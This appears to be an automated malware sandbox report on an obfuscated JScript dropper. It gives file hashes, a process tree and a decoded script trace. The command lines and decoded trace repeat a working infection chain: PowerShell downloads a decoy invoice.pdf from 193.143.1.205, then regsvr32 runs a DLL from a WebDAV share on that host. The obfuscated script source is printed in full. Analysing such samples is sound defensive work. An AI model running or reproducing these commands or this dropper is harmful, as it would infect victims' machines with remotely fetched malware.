MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17372), with CRLF line terminators
Entropy (8bit):	4.915958260393564
TrID:
File name:	23614810137024152.js
File size:	20'929 bytes
MD5:	f7d632ebc7493fd3fb7325471702f465
SHA1:	f2f3f1b8539ba3f0cefcbe81cc751ccaf113b659
SHA256:	210c6e122d08278714e96d6af4ba7426438115e3cea12e9a4b5c9b2bd238ff32
SHA512:	3f164a3c844c0ed5ddf86f2136765f55333dcc2a193d73172e151b1706290aa4eb38888de356fb12d9c8513eef3a7d13cf6ba954b2cb768cc3e9ad4c62621d3a
SSDEEP:	384:emvHA0t5OiwQlaH9XZ/ZbN6/6dp2VWVNXzOCiAnyKl/WqCUpyFoBq2kNHKxxwFdi:emvHA0t5OZsOVZ/Zbh/IUkcV2L/Q
TLSH:	F89273CDB5A2F9535DF4C5F1085E04E43B718A8DC7A6409A3A270D5C3B82B39A2E7C76
File Content Preview:	function habqx(){ezlcxk=[1031,3079,5127,4103,2055,3072];var kzskwner=this[fxtqmyd+pxjhwf+xucbyhv+mfjvm+sxuarw+bbjppe+gennlib+ksooukzxp](this[krccgvf+mhnlcf+wgxzysin+xucbyhv+apcdxcwnz+fxtqmyd+ksooukzxp][vnido+xucbyhv+sxuarw+pxjhwf+ksooukzxp+sxuarw+tlxpu+lm

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	16:29:55
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\23614810137024152.js"
Imagebase:	0x7ff763d60000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:29:56
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll
Imagebase:	0x7ff6b03c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:29:56
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:29:56
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:30:00
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:30:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b03c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:30:00
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff761650000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:30:01
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:30:02
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:30:02
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1524,i,14748044977518557816,13102918182558653735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function habqx() {	habqx() ➔ undefined
1	ezlcxk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kzskwner = this[fxtqmyd + pxjhwf + xucbyhv + mfjvm + sxuarw + bbjppe + gennlib + ksooukzxp] ( this[krccgvf + mhnlcf + wgxzysin + xucbyhv + apcdxcwnz + fxtqmyd + ksooukzxp][vnido + xucbyhv + sxuarw + pxjhwf + ksooukzxp + sxuarw + tlxpu + lmfno + mhnftif + sxuarw + wgxzysin + ksooukzxp] ( krccgvf + mhnlcf + wgxzysin + xucbyhv + apcdxcwnz + fxtqmyd + ksooukzxp + nbulyvtr + mhnlcf + esozoqn + sxuarw + cwrlaj + cwrlaj ) [vwsixye + sxuarw + bsuorbcol + vwsixye + sxuarw + pxjhwf + zavsajpw] ( reeiem + rlgrvdej + vhsiamux + vlvywdo + ndmoecd + vnido + otgenwlw + vwsixye + vwsixye + vhsiamux + qayncvn + yyaop + ndmoecd + otgenwlw + mhnlcf + vhsiamux + vwsixye + tzclazg + vnido + nhltozy + gennlib + ksooukzxp + xucbyhv + nhltozy + cwrlaj + wlfnfcuzo + sjufzqji + pxjhwf + gennlib + sxuarw + cwrlaj + tzclazg + bbjppe + gennlib + ksooukzxp + sxuarw + xucbyhv + gennlib + pxjhwf + ksooukzxp + apcdxcwnz + nhltozy + gennlib + pxjhwf + cwrlaj + tzclazg + rsjxe + nhltozy + wgxzysin + pxjhwf + cwrlaj + sxuarw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( iwkdkr = 0 ; iwkdkr < ezlcxk[cwrlaj + sxuarw + gennlib + bsuorbcol + ksooukzxp + esozoqn] ; ++ iwkdkr )
4	{
5	if ( kzskwner == ezlcxk[iwkdkr] )
6	{
7	kzskwner = true;
8	break ;
9	}
10	}
11	if ( kzskwner !== true )
12	this[krccgvf + mhnlcf + wgxzysin + xucbyhv + apcdxcwnz + fxtqmyd + ksooukzxp][kxxwez + gxczpja + apcdxcwnz + ksooukzxp] ( );
13	this[krccgvf + mhnlcf + wgxzysin + xucbyhv + apcdxcwnz + fxtqmyd + ksooukzxp][vnido + xucbyhv + sxuarw + pxjhwf + ksooukzxp + sxuarw + tlxpu + lmfno + mhnftif + sxuarw + wgxzysin + ksooukzxp] ( krccgvf + mhnlcf + wgxzysin + xucbyhv + apcdxcwnz + fxtqmyd + ksooukzxp + nbulyvtr + mhnlcf + esozoqn + sxuarw + cwrlaj + cwrlaj ) [xucbyhv + gxczpja + gennlib] ( wgxzysin + qqucuu + zavsajpw + wlfnfcuzo + dntovzyn + wgxzysin + wlfnfcuzo + fxtqmyd + nhltozy + ewrbotqgv + sxuarw + xucbyhv + mfjvm + esozoqn + sxuarw + cwrlaj + cwrlaj + nbulyvtr + sxuarw + xaekn + sxuarw + wlfnfcuzo + ckcvlf + vnido + nhltozy + qqucuu + qqucuu + pxjhwf + gennlib + zavsajpw + wlfnfcuzo + oefzsiruu + bbjppe + gennlib + tyvpard + nhltozy + xyqiuraw + sxuarw + ckcvlf + krccgvf + sxuarw + lmfno + vwsixye + sxuarw + lkhwblf + gxczpja + sxuarw + mfjvm + ksooukzxp + wlfnfcuzo + ckcvlf + tlxpu + gxczpja + ksooukzxp + ecdadxzs + apcdxcwnz + cwrlaj + sxuarw + wlfnfcuzo + dpmkkjbk + ksooukzxp + sxuarw + qqucuu + fxtqmyd + dpmkkjbk + tzclazg + apcdxcwnz + gennlib + tyvpard + nhltozy + apcdxcwnz + wgxzysin + sxuarw + nbulyvtr + fxtqmyd + zavsajpw + wyybjqj + wlfnfcuzo + esozoqn + ksooukzxp + ksooukzxp + fxtqmyd + gzqzziofi + dntovzyn + dntovzyn + tsfqfy + agmyunql + pypweky + nbulyvtr + tsfqfy + ndbsmva + pypweky + nbulyvtr + tsfqfy + nbulyvtr + hluuerj + zwjksmx + doqppq + dntovzyn + apcdxcwnz + gennlib + tyvpard + nhltozy + apcdxcwnz + wgxzysin + sxuarw + nbulyvtr + fxtqmyd + esozoqn + fxtqmyd + oefzsiruu + dxlot + dxlot + mfjvm + ksooukzxp + pxjhwf + xucbyhv + ksooukzxp + wlfnfcuzo + dpmkkjbk + ksooukzxp + sxuarw + qqucuu + fxtqmyd + dpmkkjbk + tzclazg + apcdxcwnz + gennlib + tyvpard + nhltozy + apcdxcwnz + wgxzysin + sxuarw + nbulyvtr + fxtqmyd + zavsajpw + wyybjqj + dxlot + dxlot + wgxzysin + qqucuu + zavsajpw + wlfnfcuzo + dntovzyn + wgxzysin + wlfnfcuzo + gennlib + sxuarw + ksooukzxp + wlfnfcuzo + gxczpja + mfjvm + sxuarw + wlfnfcuzo + tzclazg + tzclazg + tsfqfy + agmyunql + pypweky + nbulyvtr + tsfqfy + ndbsmva + pypweky + nbulyvtr + tsfqfy + nbulyvtr + hluuerj + zwjksmx + doqppq + hictjjlu + iujwmspim + iujwmspim + iujwmspim + iujwmspim + tzclazg + zavsajpw + pxjhwf + tyvpard + ewrbotqgv + ewrbotqgv + ewrbotqgv + xucbyhv + nhltozy + nhltozy + ksooukzxp + tzclazg + dxlot + dxlot + wgxzysin + qqucuu + zavsajpw + wlfnfcuzo + dntovzyn + wgxzysin + wlfnfcuzo + xucbyhv + sxuarw + bsuorbcol + mfjvm + tyvpard + xucbyhv + pypweky + hluuerj + wlfnfcuzo + dntovzyn + mfjvm + wlfnfcuzo + tzclazg + tzclazg + tsfqfy + agmyunql + pypweky + nbulyvtr + tsfqfy + ndbsmva + pypweky + nbulyvtr + tsfqfy + nbulyvtr + hluuerj + zwjksmx + doqppq + hictjjlu + iujwmspim + iujwmspim + iujwmspim + iujwmspim + tzclazg + zavsajpw + pxjhwf + tyvpard + ewrbotqgv + ewrbotqgv + ewrbotqgv + xucbyhv + nhltozy + nhltozy + ksooukzxp + tzclazg + agmyunql + iujwmspim + tsfqfy + tsfqfy + tsfqfy + doqppq + zwjksmx + zwjksmx + doqppq + agmyunql + hluuerj + tsfqfy + hluuerj + nbulyvtr + zavsajpw + cwrlaj + cwrlaj, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll",0,false) ➔ 0
14	}
15	sxuarw = "e";
16	sxuarw = "S";
17	sxuarw = "l";
18	sxuarw = "O";
19	sxuarw = "E";
20	sxuarw = "T";
21	sxuarw = "J";
22	sxuarw = "z";
23	sxuarw = "U";
24	sxuarw = "t";
25	sxuarw = "F";
26	sxuarw = "D";
27	sxuarw = "k";
28	sxuarw = "j";
29	sxuarw = "S";
30	sxuarw = "a";
31	sxuarw = "D";
32	sxuarw = "e";
33	oefzsiruu = "M";
34	oefzsiruu = "G";
35	oefzsiruu = "d";
36	oefzsiruu = "f";
37	oefzsiruu = "L";
38	oefzsiruu = "X";
39	oefzsiruu = "y";
40	oefzsiruu = "y";
41	oefzsiruu = "N";
42	oefzsiruu = "J";
43	oefzsiruu = "J";
44	oefzsiruu = "t";
45	oefzsiruu = "v";
46	oefzsiruu = "b";
47	oefzsiruu = "h";
48	oefzsiruu = "s";
49	oefzsiruu = "K";
50	oefzsiruu = "s";
51	oefzsiruu = "O";
52	oefzsiruu = "y";
53	oefzsiruu = "i";
54	oefzsiruu = "v";
55	oefzsiruu = "X";
56	oefzsiruu = "T";
57	oefzsiruu = "O";
58	oefzsiruu = "Q";
59	oefzsiruu = "U";
60	oefzsiruu = "r";
61	oefzsiruu = "U";
62	oefzsiruu = "H";
63	oefzsiruu = "Y";
64	oefzsiruu = "c";
65	oefzsiruu = "i";
66	oefzsiruu = "\"";
67	nbulyvtr = "h";
68	nbulyvtr = "L";
69	nbulyvtr = "T";
70	nbulyvtr = "H";
71	nbulyvtr = "v";
72	nbulyvtr = "O";
73	nbulyvtr = "h";
74	nbulyvtr = "C";
75	nbulyvtr = "j";
76	nbulyvtr = "x";
77	nbulyvtr = "C";
78	nbulyvtr = "V";
79	nbulyvtr = "e";
80	nbulyvtr = "L";
81	nbulyvtr = "L";
82	nbulyvtr = "V";
83	nbulyvtr = "e";
84	nbulyvtr = ".";
85	qqucuu = "g";
86	qqucuu = "G";
87	qqucuu = "T";
88	qqucuu = "V";
89	qqucuu = "m";
90	ndmoecd = "n";
91	ndmoecd = "W";
92	ndmoecd = "w";
93	ndmoecd = "D";
94	ndmoecd = "R";
95	ndmoecd = "B";
96	ndmoecd = "U";
97	ndmoecd = "A";
98	ndmoecd = "s";
99	ndmoecd = "b";
100	ndmoecd = "H";
101	ndmoecd = "f";
102	ndmoecd = "t";
103	ndmoecd = "q";
104	ndmoecd = "Y";
105	ndmoecd = "X";
106	ndmoecd = "r";
107	ndmoecd = "V";
108	ndmoecd = "h";
109	ndmoecd = "m";
110	ndmoecd = "P";
111	ndmoecd = "I";
112	ndmoecd = "Z";
113	ndmoecd = "f";
114	ndmoecd = "T";
115	ndmoecd = "d";
116	ndmoecd = "b";
117	ndmoecd = "h";
118	ndmoecd = "_";
119	qayncvn = "q";
120	qayncvn = "l";
121	qayncvn = "q";
122	qayncvn = "J";
123	qayncvn = "N";
124	qayncvn = "E";
125	qayncvn = "r";
126	qayncvn = "e";
127	qayncvn = "r";
128	qayncvn = "Z";
129	qayncvn = "T";
130	qayncvn = "x";
131	qayncvn = "m";
132	qayncvn = "I";
133	qayncvn = "i";
134	qayncvn = "w";
135	qayncvn = "D";
136	qayncvn = "Y";
137	qayncvn = "a";
138	qayncvn = "b";
139	qayncvn = "l";
140	qayncvn = "e";
141	qayncvn = "A";
142	qayncvn = "I";
143	qayncvn = "s";
144	qayncvn = "N";
145	qayncvn = "Y";
146	qayncvn = "B";
147	qayncvn = "o";
148	qayncvn = "v";
149	qayncvn = "A";
150	qayncvn = "E";
151	qayncvn = "c";
152	qayncvn = "Z";
153	qayncvn = "d";
154	qayncvn = "a";
155	qayncvn = "F";
156	qayncvn = "F";
157	qayncvn = "G";
158	qayncvn = "N";
159	dxlot = "s";
160	dxlot = "P";
161	dxlot = "C";
162	dxlot = "Z";
163	dxlot = "r";
164	dxlot = "O";
165	dxlot = "L";
166	dxlot = "v";
167	dxlot = "d";
168	dxlot = "z";
169	dxlot = "X";
170	dxlot = "z";
171	dxlot = "e";
172	dxlot = "b";
173	dxlot = "u";
174	dxlot = "h";
175	dxlot = "j";
176	dxlot = "P";
177	dxlot = "g";
178	dxlot = "n";
179	dxlot = "W";
180	dxlot = "W";
181	dxlot = "g";
182	dxlot = "V";
183	dxlot = "z";
184	dxlot = "Y";
185	dxlot = "n";
186	dxlot = "R";
187	dxlot = "s";
188	dxlot = "X";
189	dxlot = "a";
190	dxlot = "D";
191	dxlot = "N";
192	dxlot = "n";
193	dxlot = "v";
194	dxlot = "M";
195	dxlot = "J";
196	dxlot = "J";
197	dxlot = "g";
198	dxlot = "&";
199	ksooukzxp = "q";
200	ksooukzxp = "v";
201	ksooukzxp = "i";
202	ksooukzxp = "a";
203	ksooukzxp = "T";
204	ksooukzxp = "x";
205	ksooukzxp = "k";
206	ksooukzxp = "W";
207	ksooukzxp = "O";
208	ksooukzxp = "a";
209	ksooukzxp = "r";
210	ksooukzxp = "K";
211	ksooukzxp = "J";
212	ksooukzxp = "G";
213	ksooukzxp = "m";
214	ksooukzxp = "a";
215	ksooukzxp = "u";
216	ksooukzxp = "O";
217	ksooukzxp = "m";
218	ksooukzxp = "K";
219	ksooukzxp = "H";
220	ksooukzxp = "M";
221	ksooukzxp = "t";
222	ksooukzxp = "j";
223	ksooukzxp = "m";
224	ksooukzxp = "l";
225	ksooukzxp = "t";
226	vwsixye = "E";
227	vwsixye = "a";
228	vwsixye = "u";
229	vwsixye = "J";
230	vwsixye = "Q";
231	vwsixye = "o";
232	vwsixye = "Q";
233	vwsixye = "S";
234	vwsixye = "J";
235	vwsixye = "s";
236	vwsixye = "O";
237	vwsixye = "P";
238	vwsixye = "e";
239	vwsixye = "d";
240	vwsixye = "F";
241	vwsixye = "c";
242	vwsixye = "g";
243	vwsixye = "t";
244	vwsixye = "H";
245	vwsixye = "F";
246	vwsixye = "D";
247	vwsixye = "k";
248	vwsixye = "m";
249	vwsixye = "X";
250	vwsixye = "E";
251	vwsixye = "f";
252	vwsixye = "e";
253	vwsixye = "r";
254	vwsixye = "a";
255	vwsixye = "e";
256	vwsixye = "X";
257	vwsixye = "U";
258	vwsixye = "U";
259	vwsixye = "d";
260	vwsixye = "y";
261	vwsixye = "R";
262	xucbyhv = "v";
263	xucbyhv = "g";
264	xucbyhv = "f";
265	xucbyhv = "C";
266	xucbyhv = "z";
267	xucbyhv = "G";
268	xucbyhv = "c";
269	xucbyhv = "d";
270	xucbyhv = "d";
271	xucbyhv = "m";
272	xucbyhv = "w";
273	xucbyhv = "q";
274	xucbyhv = "J";
275	xucbyhv = "I";
276	xucbyhv = "K";
277	xucbyhv = "H";
278	xucbyhv = "m";
279	xucbyhv = "o";
280	xucbyhv = "t";
281	xucbyhv = "u";
282	xucbyhv = "s";
283	xucbyhv = "J";
284	xucbyhv = "R";
285	xucbyhv = "N";
286	xucbyhv = "M";
287	xucbyhv = "Q";
288	xucbyhv = "W";
289	xucbyhv = "z";
290	xucbyhv = "Z";
291	xucbyhv = "q";
292	xucbyhv = "m";
293	xucbyhv = "U";
294	xucbyhv = "e";
295	xucbyhv = "k";
296	xucbyhv = "f";
297	xucbyhv = "L";
298	xucbyhv = "n";
299	xucbyhv = "I";
300	xucbyhv = "g";
301	xucbyhv = "D";
302	xucbyhv = "S";
303	xucbyhv = "j";
304	xucbyhv = "Q";
305	xucbyhv = "r";
306	xucbyhv = "r";
307	rsjxe = "L";
308	rsjxe = "L";
309	rsjxe = "k";
310	rsjxe = "x";
311	rsjxe = "L";
312	zwjksmx = "M";
313	zwjksmx = "o";
314	zwjksmx = "X";
315	zwjksmx = "0";
316	dpmkkjbk = "I";
317	dpmkkjbk = "J";
318	dpmkkjbk = "%";
319	reeiem = "c";
320	reeiem = "N";
321	reeiem = "m";
322	reeiem = "k";
323	reeiem = "I";
324	reeiem = "N";
325	reeiem = "G";
326	reeiem = "s";
327	reeiem = "X";
328	reeiem = "A";
329	reeiem = "n";
330	reeiem = "u";
331	reeiem = "H";
332	agmyunql = "c";
333	agmyunql = "S";
334	agmyunql = "k";
335	agmyunql = "N";
336	agmyunql = "e";
337	agmyunql = "Y";
338	agmyunql = "c";
339	agmyunql = "X";
340	agmyunql = "d";
341	agmyunql = "W";
342	agmyunql = "e";
343	agmyunql = "R";
344	agmyunql = "E";
345	agmyunql = "W";
346	agmyunql = "S";
347	agmyunql = "e";
348	agmyunql = "y";
349	agmyunql = "9";
350	sjufzqji = "A";
351	sjufzqji = "b";
352	sjufzqji = "w";
353	sjufzqji = "f";
354	sjufzqji = "d";
355	sjufzqji = "C";
356	sjufzqji = "J";
357	sjufzqji = "P";
358	sjufzqji = "F";
359	sjufzqji = "f";
360	sjufzqji = "n";
361	sjufzqji = "L";
362	sjufzqji = "d";
363	sjufzqji = "a";
364	sjufzqji = "b";
365	sjufzqji = "t";
366	sjufzqji = "n";
367	sjufzqji = "f";
368	sjufzqji = "D";
369	sjufzqji = "M";
370	sjufzqji = "A";
371	sjufzqji = "M";
372	sjufzqji = "L";
373	sjufzqji = "k";
374	sjufzqji = "S";
375	sjufzqji = "d";
376	sjufzqji = "g";
377	sjufzqji = "p";
378	sjufzqji = "U";
379	sjufzqji = "A";
380	sjufzqji = "j";
381	sjufzqji = "r";
382	sjufzqji = "a";
383	sjufzqji = "P";
384	yyaop = "K";
385	yyaop = "m";
386	yyaop = "O";
387	yyaop = "B";
388	yyaop = "A";
389	yyaop = "q";
390	yyaop = "i";
391	yyaop = "w";
392	yyaop = "w";
393	yyaop = "F";
394	yyaop = "T";
395	ndbsmva = "F";
396	ndbsmva = "d";
397	ndbsmva = "l";
398	ndbsmva = "m";
399	ndbsmva = "g";
400	ndbsmva = "p";
401	ndbsmva = "Q";
402	ndbsmva = "X";
403	ndbsmva = "O";
404	ndbsmva = "q";
405	ndbsmva = "r";
406	ndbsmva = "H";
407	ndbsmva = "y";
408	ndbsmva = "N";
409	ndbsmva = "q";
410	ndbsmva = "u";
411	ndbsmva = "h";
412	ndbsmva = "S";
413	ndbsmva = "U";
414	ndbsmva = "F";
415	ndbsmva = "Z";
416	ndbsmva = "Q";
417	ndbsmva = "F";
418	ndbsmva = "H";
419	ndbsmva = "C";
420	ndbsmva = "A";
421	ndbsmva = "u";
422	ndbsmva = "K";
423	ndbsmva = "k";
424	ndbsmva = "T";
425	ndbsmva = "G";
426	ndbsmva = "a";
427	ndbsmva = "h";
428	ndbsmva = "P";
429	ndbsmva = "4";
430	vhsiamux = "e";
431	vhsiamux = "y";
432	vhsiamux = "O";
433	vhsiamux = "O";
434	vhsiamux = "B";
435	vhsiamux = "R";
436	vhsiamux = "D";
437	vhsiamux = "V";
438	vhsiamux = "Z";
439	vhsiamux = "z";
440	vhsiamux = "T";
441	vhsiamux = "c";
442	vhsiamux = "j";
443	vhsiamux = "C";
444	vhsiamux = "T";
445	vhsiamux = "U";
446	vhsiamux = "d";
447	vhsiamux = "D";
448	vhsiamux = "w";
449	vhsiamux = "v";
450	vhsiamux = "a";
451	vhsiamux = "f";
452	vhsiamux = "j";
453	vhsiamux = "j";
454	vhsiamux = "J";
455	vhsiamux = "V";
456	vhsiamux = "J";
457	vhsiamux = "b";
458	vhsiamux = "w";
459	vhsiamux = "F";
460	vhsiamux = "m";
461	vhsiamux = "H";
462	vhsiamux = "Z";
463	vhsiamux = "C";
464	vhsiamux = "E";
465	ckcvlf = "P";
466	ckcvlf = "J";
467	ckcvlf = "k";
468	ckcvlf = "w";
469	ckcvlf = "y";
470	ckcvlf = "-";
471	bbjppe = "k";
472	bbjppe = "C";
473	bbjppe = "Y";
474	bbjppe = "z";
475	bbjppe = "w";
476	bbjppe = "m";
477	bbjppe = "n";
478	bbjppe = "a";
479	bbjppe = "V";
480	bbjppe = "R";
481	bbjppe = "P";
482	bbjppe = "w";
483	bbjppe = "X";
484	bbjppe = "v";
485	bbjppe = "I";
486	apcdxcwnz = "Q";
